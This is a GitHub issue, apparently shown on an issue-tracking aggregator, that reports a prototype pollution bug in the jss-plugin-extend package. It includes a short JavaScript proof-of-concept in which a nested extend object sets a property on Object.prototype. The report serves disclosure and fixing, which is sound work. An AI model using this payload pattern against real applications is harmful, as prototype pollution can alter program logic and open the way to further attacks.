cssinjs / cssinjs/jss

Prototype Pollution in the plugin jss-plugin-extend

Open
#1,673 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
JavaScript
Stars
7.1k
Forks
386
PR merge metrics
No merged PRs in 30d

Description

__Expected behavior:__
The prototype object `Object.prototype` should not be modified.

__Describe the bug:__
There is a prototype pollution vulnerability in the plugin jss-plugin-extend

__Reproduction:__

Using the following exploit:

```
var jss = require('jss');
var extend = require('jss-plugin-extend');

var s = jss.create()
.use(extend.default())
.createStyleSheet(
{extend: {extend: {constructor: {prototype: {polluted: 'yes'}}}}}
);
console.log(Object.prototype.polluted === 'yes')
```

__Versions (please complete the following information):__
- jss: 10.10.0 (newest)
- OS [Linux, macOS, Windows]:

Contributor guide

Open the contributing guide

Research direction

Start by locating the jss-plugin-extend implementation and running the supplied reproduction to confirm that Object.prototype is modified. Trace how the nested extend input is handled, then verify the fix against the same exploit; done means Object.prototype remains unchanged.

Written by the indexing model from the issue text.

Assessment

Tech stack
javascript
Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
52/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.